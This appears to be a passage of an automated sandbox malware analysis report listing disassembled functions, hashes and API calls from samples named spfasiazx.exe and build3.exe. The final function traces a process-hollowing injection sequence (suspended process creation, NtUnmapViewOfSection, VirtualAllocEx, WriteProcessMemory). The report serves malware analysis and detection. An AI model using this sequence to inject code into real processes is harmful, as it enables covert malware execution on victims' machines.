Instruction Fuzzy Hash: B211BB75944280DFCB02CF50D9C4B15BBA1FB84218F24C6AADC494B696C33AD41ACB61

Uniqueness

Uniqueness Score: -1.00%

Function 02E3D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681047120.0000000002E3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e3d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73434f674796c5048522f2e2588ddfd94c7298f1f1cd157c167e7fbab5512efd
Instruction ID: ca4ec3d4971b10065327810e8e809f76c72c1ddeabd72f36b157eaf8a88b29ba
Opcode Fuzzy Hash: 73434f674796c5048522f2e2588ddfd94c7298f1f1cd157c167e7fbab5512efd
Instruction Fuzzy Hash: 7C012B310493409AE7125E25CDCCBA7BF98EF41369F08C52AED094A286C379D841C671

Uniqueness

Uniqueness Score: -1.00%

Function 02E3D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681047120.0000000002E3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e3d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa0532557b26dc5b6a62ea7e2f0ccc41c09270e9a63cd1b33a04fc5214d51522
Instruction ID: 972bb79a6b6f0e131dd2b606a5a2ccea0a977dff5834ed0634523fd911b34407
Opcode Fuzzy Hash: aa0532557b26dc5b6a62ea7e2f0ccc41c09270e9a63cd1b33a04fc5214d51522
Instruction Fuzzy Hash: E0F062714453449AE7119E16CCC8B62FFA8EB45639F18C45AED085A286C3799845CAB1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02F3D57C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dddc985cc2e3754ca70d263f72501523e93af14a6ba75182dc7ab6a1a1f1561
Instruction ID: a3aa0a5d13742fc5d7b8c08aea99feaecd1cebdf45aa0036b0ce3cc318d11bee
Opcode Fuzzy Hash: 0dddc985cc2e3754ca70d263f72501523e93af14a6ba75182dc7ab6a1a1f1561
Instruction Fuzzy Hash: A2A16032E10209CFCF06DFB4D94099EBBB2FF85344B15866AE905AB265DB71D946CF80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: spfasiazx.exePID: 5480, Parent PID: 6360COMMON

Executed Functions

Function 01080954 Relevance: .8, Instructions: 820COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1715430314.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Offset: 01080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1080000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a0a7cb27e733debc298d8815690a582caf8603572353b1fdfbb44fca8a27b1f
Instruction ID: fb52657abb6cec0f9f2fa3002ad9eacb4f4e81a34ea3a5023433ec084a888990
Opcode Fuzzy Hash: 6a0a7cb27e733debc298d8815690a582caf8603572353b1fdfbb44fca8a27b1f
Instruction Fuzzy Hash: 8A217231A082128FEFB6BB6CC48036D73A1EB55215F2009BAF0DAD7259DB35D989C742

Uniqueness

Uniqueness Score: -1.00%

Function 01080720 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1715430314.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Offset: 01080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1080000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badc62d8b19d0c1559fdd3408238ebe2ece37c26bb014529bb8c921269472dd9
Instruction ID: 416d15586f8d709c6aeff35eb7a4ab732133dc7c560945529e6385989f96101f
Opcode Fuzzy Hash: badc62d8b19d0c1559fdd3408238ebe2ece37c26bb014529bb8c921269472dd9
Instruction Fuzzy Hash: 2A11B230E142019BEFA2672CD44436977E0E745318F2049A6F4CADB38BDA65C8D98BD2

Uniqueness

Uniqueness Score: -1.00%

Function 01080848 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1715430314.0000000001080000.00000040.00000800.00020000.00000000.sdmp, Offset: 01080000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1080000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692503600c1bee7fabd0eb5d5bd355b0baf5fca92d58298372bdd1f698870c2c
Instruction ID: caf1283e436a5e5c8399d9ebe12d4502b32609f42cdf1041f03a81c80d8b166a
Opcode Fuzzy Hash: 692503600c1bee7fabd0eb5d5bd355b0baf5fca92d58298372bdd1f698870c2c
Instruction Fuzzy Hash: B9118230E14205DBEFA2766CD44436D76D1E745318F2049B6F4CACB38ADA75C8D98BD2

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: build3.exePID: 7576, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	0.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.5%
Total number of Nodes:	159
Total number of Limit Nodes:	12

Executed Functions

Function 00D5661B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,00D5661A,?,?,?,?,?,00D5763B), ref: 00D5663D
TerminateProcess.KERNEL32(00000000,?,00D5661A,?,?,?,?,?,00D5763B), ref: 00D56644
ExitProcess.KERNEL32 ref: 00D56656

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 539ef5163e16be16ebd749342919a4da7004660f30f003cf855b7dc350e39718
Instruction ID: 0aa6230186faf2ac7dea8d220426644308e60040589bc4e2659ac3d70ffa9d7a
Opcode Fuzzy Hash: 539ef5163e16be16ebd749342919a4da7004660f30f003cf855b7dc350e39718
Instruction Fuzzy Hash: EDE09235010248ABCF126F54D849A483F69EB55752B844454FD09C6271DA35DD86CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D3DE0F Relevance: 1.5, APIs: 1, Instructions: 3
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_0001DE1B,00D3D84A), ref: 00D3DE14

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 2c122049df3fed73a6349fb86f7a3eea93def066baee707a710a2583193e4da7
Instruction ID: dd3bbaf0440ab81581a4cf04231c64e1ee03f8a69eeae01e32762e8426638874
Opcode Fuzzy Hash: 2c122049df3fed73a6349fb86f7a3eea93def066baee707a710a2583193e4da7
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 00D5A292 Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ec1f0335c72873c7de3aa19bdf9abb74edbbe00a3af050df9cc7c002be7b56eb
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: EBE04632911238EBCF15DB8C894598AB2ACEB89B11F154196BD01D3250C270DE04C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B10D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

api-ms-, xrefs: 00D5B164
ext-ms-, xrefs: 00D5B178

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 89bd7097a72d861af1be65fd4c6437c876ee261c94d5259592f2760a8c444c55
Instruction ID: 097af271bf5de43bd74309973e54d368ff0942ca4c4ff0c674725ba78e979ccb
Opcode Fuzzy Hash: 89bd7097a72d861af1be65fd4c6437c876ee261c94d5259592f2760a8c444c55
Instruction Fuzzy Hash: FA21E731A01B25EBCF614B64DC55E2A3B58AF057B2F290612ED4AE7390E730ED08D6F0

Uniqueness

Uniqueness Score: -1.00%

Function 00D592D8 Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00D59320

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d9c5e8c645c8efb723397a5a32cfcbdf3bb92796d30f9e2070e39f8f5c63d16a
Instruction ID: dedf34679e00e9552e3101c7f0be8c25351f1a20ffdf1e3e60e63cde6e217f44
Opcode Fuzzy Hash: d9c5e8c645c8efb723397a5a32cfcbdf3bb92796d30f9e2070e39f8f5c63d16a
Instruction Fuzzy Hash: 30E0E532505921D5FE11333DBC9526967A9DF82333F190316FD20C61E9FE30884AD2B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D2A0B0 Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D2A0B0: GetModuleFileNameA.KERNEL32(00000000,?,00000104,7D7AE1DE), ref: 00D28A9F

Part of subcall function 00D28440: GetModuleFileNameA.KERNEL32(00000000,?,00000104,7D7AE1DE,?,00000000), ref: 00D284A3

SetCurrentDirectoryA.KERNEL32(00000000,7D7AE1DE,00000000), ref: 00D2A0FC

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: FileModuleName$CurrentDirectory
String ID:
API String ID: 1135421992-0
Opcode ID: b2b1d6c15125d97b75b819691b3de545486ae89b47d3258c48ad5cd3d6af91bc
Instruction ID: 0607382330c9c39cc21a48becd5cbb20688e4a0aa77a29c21406b0e0d2c4a9e6
Opcode Fuzzy Hash: b2b1d6c15125d97b75b819691b3de545486ae89b47d3258c48ad5cd3d6af91bc
Instruction Fuzzy Hash: 2351E570D002589BEF14EB68D949B9DBBB2EB51308F508198D405673C6DB755A888BB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D3D4D7 Relevance: 1.6, APIs: 1, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00D2257E

Part of subcall function 00D53BF4: RaiseException.KERNEL32(E06D7363,00000001,00000003,00D7E898,?,?,?,00D7E898), ref: 00D53C54

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID:
API String ID: 3109751735-0
Opcode ID: ebf67b7395e8a62b1f91eea8988dc20e265464874529de44b9f52cadd517cccb
Instruction ID: cba9176794b848e5437262fd76033803cbe71a8b8de6c1329d95772e69657a2b
Opcode Fuzzy Hash: ebf67b7395e8a62b1f91eea8988dc20e265464874529de44b9f52cadd517cccb
Instruction Fuzzy Hash: 2601C87580020D7BCB14BBA4EC02859B76CDE10355F14C621FE54A6591FB70E6588AF2

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B1D4 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b4834654166d739fe80dcc2c7d816d18969932be755e96fa6c2bd4e96dff071
Instruction ID: cddb8b1bd0255413e50aa3ba368e09de475d6fc0facc41e670b4f78b11f351f6
Opcode Fuzzy Hash: 8b4834654166d739fe80dcc2c7d816d18969932be755e96fa6c2bd4e96dff071
Instruction Fuzzy Hash: 5801D2376102159B9F26CE69EC41A5E3396ABC5371B288122FE15CF298DB30D80597B4

Uniqueness

Uniqueness Score: -1.00%

Function 00D5AA4B Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00D5E43E,00000220,?,?,?,?,?,?,00D5763B,?), ref: 00D5AA7D

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 491341e4dfb1733b11dbdee21a9cbdf832bee80d64b67586b9dfaa696c7c367b
Instruction ID: c103f759a4165c4f8f781330aed6a706d3bc9bbc81e27fb17c2ef8ad74a13e88
Opcode Fuzzy Hash: 491341e4dfb1733b11dbdee21a9cbdf832bee80d64b67586b9dfaa696c7c367b
Instruction Fuzzy Hash: 39E039252013369ADE2127A99E00B5B6B589B517A2F194321AC599A1D1DE60CC08C6F2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00D3C858 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D3C85E
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00D3C86C
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00D3C87D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00D3C88E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00D3C89F
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00D3C8B0
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00D3C8C1
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00D3C8D2
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00D3C8E3
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00D3C8F4
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00D3C905
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00D3C916
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00D3C927
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00D3C938
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00D3C949
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00D3C95A
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00D3C96B
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00D3C97C
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00D3C98D
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00D3C99E
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00D3C9AF
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00D3C9C0
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00D3C9D1
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00D3C9E2
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 00D3C9F3
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D3CA04
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 00D3CA15
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 00D3CA26
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00D3CA37
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00D3CA48
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 00D3CA59
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 00D3CA6A
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00D3CA7B
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00D3CA8C
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00D3CA9D
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00D3CAAE
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00D3CABF
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00D3CAD0
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00D3CAE1
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 00D3CAF2
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 00D3CB03

Strings

CreateThreadpoolTimer, xrefs: 00D3C8FA
InitializeConditionVariable, xrefs: 00D3CA0A
GetCurrentPackageId, xrefs: 00D3C9B5
InitializeCriticalSectionEx, xrefs: 00D3C8A5
GetFileInformationByHandleEx, xrefs: 00D3C9D7
FlsSetValue, xrefs: 00D3C894
SubmitThreadpoolWork, xrefs: 00D3CAB4
SetThreadpoolWait, xrefs: 00D3C94F
CreateEventExW, xrefs: 00D3C8C7
SleepConditionVariableCS, xrefs: 00D3CA3D
CloseThreadpoolWait, xrefs: 00D3C960
CreateSemaphoreExW, xrefs: 00D3C8E9
SleepConditionVariableSRW, xrefs: 00D3CA92
FlsAlloc, xrefs: 00D3C866
InitializeSRWLock, xrefs: 00D3CA4E
FlsFree, xrefs: 00D3C872
CreateSemaphoreW, xrefs: 00D3C8D8
CreateThreadpoolWait, xrefs: 00D3C93E
CompareStringEx, xrefs: 00D3CAD6
CloseThreadpoolWork, xrefs: 00D3CAC5
GetCurrentProcessorNumber, xrefs: 00D3C993
LCMapStringEx, xrefs: 00D3CAF8
FlsGetValue, xrefs: 00D3C883
WakeConditionVariable, xrefs: 00D3CA1B
GetSystemTimePreciseAsFileTime, xrefs: 00D3C9F9
AcquireSRWLockExclusive, xrefs: 00D3CA5F
FlushProcessWriteBuffers, xrefs: 00D3C971
CloseThreadpoolTimer, xrefs: 00D3C92D
FreeLibraryWhenCallbackReturns, xrefs: 00D3C982
ReleaseSRWLockExclusive, xrefs: 00D3CA81
CreateSymbolicLinkW, xrefs: 00D3C9A9
WakeAllConditionVariable, xrefs: 00D3CA2C
GetLocaleInfoEx, xrefs: 00D3CAE7
kernel32.dll, xrefs: 00D3C859
SetFileInformationByHandle, xrefs: 00D3C9E8
WaitForThreadpoolTimerCallbacks, xrefs: 00D3C91C
SetThreadpoolTimer, xrefs: 00D3C90B
InitOnceExecuteOnce, xrefs: 00D3C8B6
TryAcquireSRWLockExclusive, xrefs: 00D3CA70
GetTickCount64, xrefs: 00D3C9C6
CreateThreadpoolWork, xrefs: 00D3CAA3

Memory Dump Source

Source File: 0000000B.00000002.1721807078.0000000000D21000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00D20000, based on PE: true

Associated: 0000000B.00000002.1721792361.0000000000D20000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721839472.0000000000D70000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721860145.0000000000D82000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721874198.0000000000D84000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721887728.0000000000D85000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000B.00000002.1721902825.0000000000D87000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_d20000_build3.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 20931ea9ae0686dc85eb8238cb65e196bd8b2f66a8a155e2495544515a96f1ac
Instruction ID: a71169b5fca570fea13b885736744bcb63e32a22665fd8ed7aa04227b5062434
Opcode Fuzzy Hash: 20931ea9ae0686dc85eb8238cb65e196bd8b2f66a8a155e2495544515a96f1ac
Instruction Fuzzy Hash: 7E614779962710EFC7516FB8BC0E9897EBCEA09795340865AB10ED23A5F7B44088CF74

Uniqueness

Uniqueness Score: -1.00%

Function 00D260A0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 150injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00D260C6
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00D2612B
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00D26144
GetThreadContext.KERNEL32(?,00000000), ref: 00D2615F
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00D26183
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection), ref: 00D2619E
GetProcAddress.KERNEL32(00000000), ref: 00D261A5
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 00D261CD
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 00D261EE
